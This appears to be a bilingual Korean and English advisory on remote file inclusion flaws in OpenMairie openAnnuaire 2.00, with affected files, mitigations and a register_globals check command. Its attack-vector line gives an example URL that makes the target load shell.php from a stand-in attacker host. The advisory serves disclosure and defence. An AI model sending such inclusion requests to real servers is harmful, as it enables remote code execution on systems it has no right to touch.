🇰🇷 한글 설명
OpenMairie openAnnuaire 2.00에서 register_globals가 활성화되었을 때, path_om 매개변수를 통한 원격 파일 포함(RFI) 취약점으로 공격자가 임의의 PHP 코드를 실행할 수 있습니다. obj/ 디렉토리의 8개 클래스 파일이 영향을 받습니다.
💡 쉬운 설명
행정 시스템 소프트웨어에서 공격자가 인터넷을 통해 악의적인 코드를 원격으로 실행시킬 수 있는 결함입니다. 이는 특정 PHP 서버 설정이 활성화되었을 때만 가능합니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in OpenMairie openAnnuaire 2.00, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the path_om parameter to (1) annuaire.class.php, (2) droit.class.php, (3) collectivite.class.php, (4) profil.class.php, (5) direction.class.php, (6) service.class.php, (7) directiongenerale.class.php, and (8) utilisateur.class.php in obj/.
📍 영향받는 시스템
OpenMairie openAnnuaire 2.00 (register_globals 활성화된 환경)
⚔️ 공격 벡터
path_om 매개변수에 원격 파일 경로 URL을 삽입하여 PHP 코드 실행 (예: http://target/annuaire.class.php?path_om=http://attacker.com/shell.php)
🛡️ 대응 방법
register_globals를 비활성화하거나 OpenMairie를 최신 버전으로 업그레이드 및 PHP 버전 업데이트
🔧 검증 코드
'register_globals'이 'Off' 또는 'No value'이면 안전하며, 'On'이면 취약한 상태입니다.
php -i 2>/dev/null | grep -i register_globals